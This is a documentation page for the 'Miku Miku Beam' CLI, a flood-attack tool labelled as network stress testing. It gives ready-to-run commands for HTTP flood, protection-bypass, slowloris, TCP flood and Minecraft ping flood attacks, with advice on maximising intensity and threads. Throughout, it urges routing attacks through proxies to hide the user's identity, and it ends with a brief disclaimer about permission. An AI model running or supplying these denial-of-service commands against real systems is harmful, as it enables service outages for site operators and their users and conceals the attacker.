Skip to main content

Overview

The Miku Miku Beam CLI (mmb) provides a powerful command-line interface for launching network stress testing attacks. It supports multiple attack methods, proxy configurations, and customizable parameters.

Installation

After building the project, the mmb binary will be available in the bin/ directory:
./bin/mmb --help

Basic Syntax

mmb [global-flags] attack [method] [target] [flags]

Attack Command

The primary command for launching attacks is attack.

Syntax

mmb attack [method] [target] [flags]

Attack Methods

Miku Miku Beam supports the following attack methods:

http_flood

Standard HTTP flood attack using GET/POST requests

http_bypass

HTTP attack designed to bypass basic protections

http_slowloris

Slowloris attack that keeps connections open

tcp_flood

TCP-level flood attack

minecraft_ping

Minecraft server ping flood attack

Available Flags

--duration
int
default:"60"
Duration of the attack in seconds
--delay
int
default:"500"
Delay between packets in milliseconds
--packet-size
int
default:"512"
Size of each packet in bytes
--threads
int
default:"0"
Number of threads to use (0 = number of CPU cores)
--no-proxy
boolean
default:"false"
Allow running attacks without proxies (not recommended)
--verbose
boolean
default:"false"
Show detailed attack logs including individual packet information

Global Flags

--config
string
Path to configuration file (TOML format)

Examples

Basic HTTP Flood Attack

mmb attack http_flood http://example.com
This launches a 60-second HTTP flood attack (default duration) against example.com using all available proxies.

Custom Duration and Delay

mmb attack http_flood http://example.com --duration 120 --delay 200
Runs for 120 seconds with 200ms delay between packets.

High-Intensity Attack

mmb attack tcp_flood tcp://192.168.1.100:80 --threads 16 --delay 100 --packet-size 1024
Launches a TCP flood with:
  • 16 threads
  • 100ms packet delay
  • 1024-byte packets

Verbose Mode

mmb attack http_bypass https://target.com --verbose
Enables detailed logging showing individual packet information.

With Custom Configuration

mmb --config /path/to/config.toml attack http_flood http://example.com
Uses a custom configuration file for proxy and user agent settings.

Without Proxies

mmb attack http_flood http://example.com --no-proxy
Running without proxies exposes your real IP address. Only use --no-proxy for testing purposes.

Output Format

During an attack, the CLI displays real-time statistics:
Starting http_flood against http://example.com with 1250 proxies
15:04:05 PPS:850 Total:850 Proxies:1250
15:04:06 PPS:1024 Total:1874 Proxies:1250
15:04:07 PPS:1156 Total:3030 Proxies:1250

Output Fields

Timestamp
string
Current time in HH:MM:SS format
PPS
int
Packets per second (current rate)
Total
int
Total packets sent since attack started
Proxies
int
Number of proxies being used

Verbose Output

With --verbose enabled, additional log information is displayed:
15:04:05 PPS:850 Total:850 Proxies:1250 [HTTP] GET / -> 200 OK
15:04:06 PPS:1024 Total:1874 Proxies:1250 [HTTP] POST /api -> 503 Service Unavailable

Stopping an Attack

Press Ctrl+C to gracefully stop an attack:
^C
Stopping...
The attack will terminate immediately and release all resources.

Exit Codes

0
success
Attack completed successfully
2
error
Invalid command usage or arguments
1
error
Runtime error (e.g., no proxies available)

Proxy Requirements

Different attack methods support different proxy types:
Supports: HTTP, HTTPS, SOCKS4, SOCKS5
Supports: SOCKS4, SOCKS5 only
Supports: SOCKS4, SOCKS5 only
Supports: SOCKS4, SOCKS5 only
The CLI automatically filters proxies based on the attack method. If no compatible proxies are found, the attack will fail unless --no-proxy is specified.

Target Formats

Targets can be specified in various formats depending on the attack method:
mmb attack http_flood http://example.com
mmb attack http_flood https://example.com:8443
mmb attack http_bypass http://192.168.1.100:80/path

Performance Tuning

Thread Configuration

By default, the CLI uses one thread per CPU core. Adjust for your system:
1

Low-end systems

Use fewer threads to avoid overwhelming the system:
mmb attack http_flood http://example.com --threads 4
2

High-end systems

Increase threads for maximum throughput:
mmb attack http_flood http://example.com --threads 32
3

Auto-detect (recommended)

Let the CLI use NumCPU automatically:
mmb attack http_flood http://example.com

Packet Delay

Lower delay = higher attack intensity:
  • --delay 1000 (1 second) - Low intensity
  • --delay 500 (500ms) - Medium intensity (default)
  • --delay 100 (100ms) - High intensity
  • --delay 10 (10ms) - Maximum intensity
Very low delay values (< 50ms) may cause high CPU usage and system instability.

Troubleshooting

No Proxies Available

No proxies available (file: data/proxies.txt). Use --no-proxy to proceed.
Solution: Either add proxies to your configuration file or use --no-proxy flag.

Unsupported Attack Method

If you specify an invalid method, Cobra will show available options:
mmb attack invalid_method http://example.com

Connection Refused

If the target is unreachable, individual packets will fail silently. Use --verbose to see connection errors.

Best Practices

Use Proxies

Always use proxies to protect your identity and distribute the load

Start Small

Begin with shorter durations and fewer threads to test your setup

Monitor Resources

Watch CPU and memory usage, especially with high thread counts

Legal Compliance

Only test systems you own or have explicit permission to test

Build docs developers (and LLMs) love